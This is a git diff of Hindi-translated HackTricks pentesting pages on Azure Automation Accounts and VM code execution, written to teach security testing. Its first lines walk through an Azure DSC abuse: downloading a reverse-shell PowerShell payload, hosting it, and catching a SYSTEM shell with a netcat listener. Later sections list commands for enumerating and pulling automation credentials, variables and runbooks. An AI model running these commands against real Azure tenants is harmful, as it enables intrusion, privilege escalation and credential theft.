Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है। +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Step 4 — Prep Kali Box + +Kali सर्वर GitHub रिपॉजिटरी से RevPS.ps1 पेलोड डाउनलोड करता है। +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +स्क्रिप्ट को लक्षित Windows VM और रिवर्स शेल के लिए पोर्ट निर्दिष्ट करने के लिए संपादित किया गया है। + +- Step 5 — Publish Configuration File + +कॉन्फ़िगरेशन फ़ाइल को निष्पादित किया जाता है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है। + +- Step 6 — Host Payload and Setup Listener + +पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर। +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +निर्धारित कार्य पेलोड को निष्पादित करता है, SYSTEM-स्तरीय विशेषाधिकार प्राप्त करता है। + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 98042f174..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation एक क्लाउड-आधारित ऑटोमेशन, ऑपरेटिंग सिस्टम अपडेट और कॉन्फ़िगरेशन सेवा प्रदान करता है जो आपके Azure और गैर-Azure वातावरण में लगातार प्रबंधन का समर्थन करता है। इसमें प्रक्रिया ऑटोमेशन, कॉन्फ़िगरेशन प्रबंधन, अपडेट प्रबंधन, साझा क्षमताएँ और विषम विशेषताएँ शामिल हैं। - -ये Azure में "**निर्धारित कार्य**" की तरह हैं जो आपको **प्रबंधित**, जांचने और **Azure वातावरण** को कॉन्फ़िगर करने के लिए चीजें (क्रियाएँ या यहां तक कि स्क्रिप्ट) निष्पादित करने की अनुमति देंगे। - -### Run As Account - -जब **Run as Account** का उपयोग किया जाता है, तो यह एक Azure AD **ऐप्लिकेशन** बनाता है जिसमें स्वयं-हस्ताक्षरित प्रमाणपत्र होता है, एक **सेवा प्रमुख** बनाता है और **वर्तमान सदस्यता** में खाते के लिए **Contributor** भूमिका सौंपता है (कई विशेषाधिकार)।\ -Microsoft ऑटोमेशन खाते के लिए **Managed Identity** का उपयोग करने की सिफारिश करता है। - -> [!WARNING] -> इसे **30 सितंबर, 2023 को हटा दिया जाएगा और Managed Identities के लिए बदला जाएगा।** - -## Runbooks & Jobs - -**Runbooks** आपको **मनमाने PowerShell** कोड को **निष्पादित** करने की अनुमति देते हैं। इसका **दुरुपयोग एक हमलावर** द्वारा **संलग्न प्रमुख** के अनुमतियों को चुराने के लिए किया जा सकता है (यदि कोई हो)।\ -**Runbooks** के **कोड** में आप **संवेदनशील जानकारी** (जैसे क्रेडेंशियल्स) भी पा सकते हैं। - -यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे रन का **आउटपुट** **सामिल** करते हैं (संभावित **संवेदनशील जानकारी**). - -जाएँ `Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +एक **Job एक Runbook निष्पादन का उदाहरण है**। जब आप एक Runbook चलाते हैं, तो उस निष्पादन को ट्रैक करने के लिए एक Job बनाया जाता है। प्रत्येक नौकरी में शामिल हैं: + +- **Status**: Queued, Running, Completed, Failed, Suspended. +- **Output**: Runbook निष्पादन का परिणाम। +- **Start and End Time**: जब नौकरी शुरू हुई और पूरी हुई। + +एक नौकरी में **Runbook** निष्पादन का **आउटपुट** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **आउटपुट** **रखते** हैं (संभावित **संवेदनशील जानकारी**)। + +### Schedules & Webhooks + +Runbook निष्पादित करने के 3 मुख्य तरीके हैं: + +- **Schedules**: इन्हें **विशिष्ट समय** या **अवधि** पर Runbooks को **प्रेरित** करने के लिए उपयोग किया जाता है। +- **Webhooks**: ये **HTTP endpoints** हैं जिन्हें **बाहरी सेवाओं** से Runbooks को **प्रेरित** करने के लिए उपयोग किया जा सकता है। ध्यान दें कि वेबहुक URL **निर्माण के बाद दिखाई नहीं देता**। +- **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **हाथ से प्रेरित** कर सकते हैं। + +### Source Control + +यह **Github, Azure Devops (Git) और Azure Devops (TFVC)** से Runbooks को आयात करने की अनुमति देता है। यह संभव है कि यह स्वचालन खाते के लिए रिपॉजिटरी के Runbooks को प्रकाशित करने के लिए संकेत दे और यह भी संभव है कि **रिपॉजिटरी से परिवर्तनों को Azure Automation खाते में समन्वयित करने** के लिए संकेत दे। + +जब समन्वय सक्षम होता है, तो **Github रिपॉजिटरी में एक वेबहुक बनाया जाता है** ताकि हर बार एक पुश इवेंट होने पर समन्वय को प्रेरित किया जा सके। वेबहुक URL का उदाहरण: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +ध्यान दें कि ये वेबहुक **Github रिपॉजिटरी से संबंधित रनबुक में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद **स्रोत नियंत्रण का रिपॉजिटरी URL बदलना संभव नहीं है**। + +कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को एक प्रबंधित पहचान (सिस्टम या उपयोगकर्ता) के साथ **`Contributor`** भूमिका होनी चाहिए। इसके अलावा, Automation Account को उपयोगकर्ता प्रबंधित पहचान असाइन करने के लिए, इसे केवल वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** को **उपयोगकर्ता प्रबंधित पहचान क्लाइंट ID** पर सेट करके किया जा सकता है। + +### Runtime Environments + +जब एक Runbook बनाया जाता है, तो रनटाइम वातावरण का चयन करना संभव है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +हालांकि, यह भी संभव है कि आप इनमें से किसी एक का उपयोग करके **अपना खुद का वातावरण** बनाएँ। Python के मामले में, यह संभव है कि आप उस वातावरण में उपयोग किए जाने वाले `.whl` पैकेज अपलोड करें। PowerShell के मामले में, यह संभव है कि आप रनटाइम में रखने के लिए मॉड्यूल के साथ `.zip` पैकेज अपलोड करें। + +### Hybrid Worker + +एक Runbook को **Azure के भीतर एक कंटेनर** में या **हाइब्रिड वर्कर** (गैर-Azure मशीन) में चलाया जा सकता है।\ +**Log Analytics Agent** को VM पर तैनात किया जाता है ताकि इसे एक हाइब्रिड कार्यकर्ता के रूप में पंजीकृत किया जा सके।\ +हाइब्रिड कार्यकर्ता नौकरियाँ **SYSTEM** के रूप में Windows पर और **nxautomation** खाते के रूप में Linux पर चलती हैं।\ +प्रत्येक हाइब्रिड कार्यकर्ता एक **हाइब्रिड कार्यकर्ता समूह** में पंजीकृत होता है। + +इसलिए, यदि आप **Windows Hybrid Worker** में एक **Runbook** चलाने का विकल्प चुनते हैं, तो आप **System** के रूप में एक बाहरी मशीन के भीतर **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)। + +### State Configuration (SC) + +>[!WARNING] +> जैसा कि [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) में संकेत दिया गया है, Azure Automation State Configuration 30 सितंबर, 2027 को समाप्त किया जाएगा और [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) द्वारा प्रतिस्थापित किया जाएगा। + +Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन को **बनाने** और **लागू करने** की अनुमति देता है। + +एक हमलावर के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था जिससे इन VMs की प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है। + +## Enumeration +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लोइटेशन + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## संदर्भ + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index be75cd10b..468481022 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -12,7 +12,7 @@ az-azure-network.md ## VMs बुनियादी जानकारी -Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विशिष्ट आवश्यकताओं को पूरा करने और वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों जैसी Azure सेवाओं के साथ एकीकृत करने के लिए विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है। +Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके। ### सुरक्षा कॉन्फ़िगरेशन @@ -21,16 +21,16 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां - **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है। - **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है। - **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।** -- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न होती है**, हालाँकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। यह **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है। +- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जाता है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है। - **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है। -- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहाँ डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). +- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहां डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC नेटवर्क सुरक्षा समूह**: - **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है - **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है -- **उन्नत**: एक सुरक्षा समूह चुनें -- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (दिन में कई) सक्षम करना संभव है +- **उन्नत**: एक सुरक्षा समूह का चयन करें +- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (प्रतिदिन कई) सक्षम करना संभव है - **पैच समन्वय विकल्प**: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) में वर्णित है। -- **अलर्ट**: जब VM में कुछ होता है तो स्वचालित रूप से ईमेल या मोबाइल ऐप द्वारा अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम: +- **अलर्ट**: यह VM में कुछ होने पर ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव बनाता है। डिफ़ॉल्ट नियम: - CPU प्रतिशत 80% से अधिक है - उपलब्ध मेमोरी बाइट्स 1GB से कम है - डेटा डिस्क IOPS उपभोग प्रतिशत 95% से अधिक है @@ -45,12 +45,12 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां ## डिस्क और स्नैपशॉट -- **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करना संभव है** +- यह संभव है कि **2 या अधिक VMs से डिस्क को संलग्न करने के लिए सक्षम करें** - डिफ़ॉल्ट रूप से हर डिस्क **एन्क्रिप्टेड** होती है एक प्लेटफ़ॉर्म कुंजी के साथ। - स्नैपशॉट में भी यही -- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहुँच** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहुँच** को पूरी तरह से **निष्क्रिय** किया जा सकता है। +- डिफ़ॉल्ट रूप से यह संभव है कि **सभी नेटवर्क से डिस्क साझा करें**, लेकिन इसे केवल कुछ **निजी पहुंच** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहुंच** को पूरी तरह से **निष्क्रिय** किया जा सकता है। - स्नैपशॉट में भी यही -- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो या न हो, कॉन्फ़िगर किया जा सकता है +- यह संभव है कि **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करें**, जिसे प्रमाणीकरण की आवश्यकता हो या न हो - स्नैपशॉट में भी यही {{#tabs}} @@ -79,7 +79,7 @@ Get-AzDisk -Name -ResourceGroupName एक **VM छवि** एक टेम्पलेट है जिसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सेटिंग्स और फ़ाइल सिस्टम शामिल होते हैं जो **एक नया वर्चुअल मशीन (VM)** बनाने के लिए आवश्यक होते हैं। एक छवि और एक डिस्क स्नैपशॉट के बीच का अंतर यह है कि एक डिस्क स्नैपशॉट एक पढ़ने के लिए केवल, समय-निर्धारित प्रति होती है जो एकल प्रबंधित डिस्क की होती है, जिसका उपयोग मुख्य रूप से बैकअप या समस्या निवारण के लिए किया जाता है, जबकि एक छवि **कई डिस्क शामिल कर सकती है और इसे नए VMs बनाने के लिए टेम्पलेट के रूप में सेवा देने के लिए डिज़ाइन किया गया है**।\ छवियों का प्रबंधन **Azure के चित्र अनुभाग** में या **Azure कंप्यूट गैलरी** के अंदर किया जा सकता है, जो **संस्करण** उत्पन्न करने और छवि को क्रॉस-टेनेंट साझा करने या यहां तक कि इसे सार्वजनिक बनाने की अनुमति देता है। -एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय में उस VM को पुनर्स्थापित करने में सक्षम होना है। +एक **पुनर्स्थापना बिंदु** VM कॉन्फ़िगरेशन और **समय-निर्धारित** एप्लिकेशन-संगत **स्नैपशॉट्स** को संग्रहीत करता है जो VM से जुड़े सभी प्रबंधित डिस्क के होते हैं। यह VM से संबंधित है और इसका उद्देश्य उस विशेष समय पर उस VM को पुनर्स्थापित करने में सक्षम होना है। {{#tabs}} {{#tab name="az cli"}} @@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ``` -## VMs में कोड निष्पादन +## कोड निष्पादन VMs में ### VM एक्सटेंशन -Azure VM एक्सटेंशन छोटे एप्लिकेशन हैं जो Azure वर्चुअल मशीनों (VMs) पर **पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन** और स्वचालन कार्य प्रदान करते हैं। +Azure VM एक्सटेंशन छोटे एप्लिकेशन होते हैं जो Azure वर्चुअल मशीनों (VMs) पर **पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन** और स्वचालन कार्य प्रदान करते हैं। यह **VMs के अंदर मनमाना कोड निष्पादित** करने की अनुमति देगा। आवश्यक अनुमति है **`Microsoft.Compute/virtualMachines/extensions/write`**। -सभी उपलब्ध एक्सटेंशनों की सूची बनाना संभव है: +सभी उपलब्ध एक्सटेंशनों की सूची बनाना संभव है: {{#tabs }} {{#tab name="Az Cli" }} @@ -457,7 +457,7 @@ Get-AzVMExtensionImage -Location -PublisherName -Type {{#endtab }} {{#endtabs }} -यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएँ**: +यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं**: {{#tabs }} {{#tab name="Linux" }} @@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na
-DesiredConfigurationState (DSC) +DesiredStateConfiguration (DSC) -यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग इस एक्सटेंशन के माध्यम से Windows VMs में **मनमाने कमांड** को **निष्पादित** करने के लिए किया जा सकता है: +यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` हाइब्रिड रनबुक वर्कर -यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन अकाउंट्स सेवा](../az-automation-account/) देखें। +यह एक VM एक्सटेंशन है जो एक ऑटोमेशन अकाउंट से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए [ऑटोमेशन अकाउंट्स सेवा](../az-automation-account/index.html) देखें।
@@ -625,7 +625,7 @@ az sig gallery-application list --gallery-name --resource-group < नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। यह बहुत दिलचस्प है क्योंकि इससे एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट पर पिवट करने की अनुमति मिल सकती है। +> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है। लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है। @@ -721,7 +721,7 @@ az vm application set \ ### उपयोगकर्ता डेटा -यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो इसे डिफ़ॉल्ट रूप से निष्पादित नहीं किया जाता है**। +यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**। ### कस्टम डेटा @@ -730,7 +730,7 @@ az vm application set \ - **Windows** में कस्टम डेटा `%SYSTEMDRIVE%\AzureData\CustomData.bin` में बाइनरी फ़ाइल के रूप में रखा जाता है और इसे संसाधित नहीं किया जाता है। - **Linux** में इसे `/var/lib/waagent/ovf-env.xml` में संग्रहीत किया गया था और अब इसे `/var/lib/waagent/CustomData/ovf-env.xml` में संग्रहीत किया गया है। - **Linux एजेंट**: यह डिफ़ॉल्ट रूप से कस्टम डेटा को संसाधित नहीं करता है, डेटा सक्षम करने के लिए एक कस्टम छवि की आवश्यकता होती है। -- **cloud-init:** यह डिफ़ॉल्ट रूप से कस्टम डेटा को संसाधित करता है और यह डेटा [**कई प्रारूपों**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) में हो सकता है। यह कस्टम डेटा में केवल स्क्रिप्ट भेजकर आसानी से एक स्क्रिप्ट निष्पादित कर सकता है। +- **cloud-init:** डिफ़ॉल्ट रूप से यह कस्टम डेटा को संसाधित करता है और यह डेटा [**कई प्रारूपों**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html) में हो सकता है। यह कस्टम डेटा में केवल स्क्रिप्ट भेजकर आसानी से एक स्क्रिप्ट निष्पादित कर सकता है। - मैंने कोशिश की कि दोनों Ubuntu और Debian यहां रखी गई स्क्रिप्ट को निष्पादित करें। - इसे निष्पादित करने के लिए उपयोगकर्ता डेटा सक्षम करना भी आवश्यक नहीं है। ```bash @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **कमांड चलाएँ** -यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`। 